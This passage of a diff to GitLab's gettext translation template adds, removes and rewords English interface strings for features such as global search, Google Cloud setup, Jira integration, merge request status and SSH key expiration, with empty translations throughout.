-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
